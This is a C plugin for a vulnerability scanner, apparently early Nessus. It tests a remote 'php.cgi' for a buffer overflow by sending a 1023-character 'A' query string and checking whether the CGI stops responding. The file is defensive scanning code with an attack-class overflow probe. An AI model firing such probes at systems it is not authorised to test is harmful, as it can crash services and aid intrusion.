/*
 * 
 * php_overflow
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h>


#define NAME "php-cgi buffer overflow"
#define DESC "\
Some versions of the 'php' cgi can be overflowed\n\
thus allowing a remote user to execute arbitrary commands\n\
on the remote host. This plugin checks if the remote php \n\
is can be attacked this way\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "overflows the buffer of the remote 'php' cgi"


PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_ATTACK);
	plug_set_family(desc, "Gain root remotely");
	return(0);
}



PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	
	if(host_get_port_state(args, 80)<=0)return(0);
	if(is_cgi_installed(args, "php.cgi"))
	{
	char * buffer;
	char * crap;
	crap = emalloc(1024);
	memset(crap, 'A', 1023);
	buffer = emalloc(2048);
	
	 sprintf(buffer, "php.cgi?%s\n",
	  	crap);
	efree(&crap);
	
	if(!is_cgi_installed(args, buffer))
	{
	 post_hole(args, 80,
"The remote 'php.cgi' cgi is subject to a buffer overflow\n\
This means that a remote user can execute commands remotely\n\n\
Solution : upgrade to version 2.0.2");
	
	}
	efree(&buffer);
	}
	return(0);
}

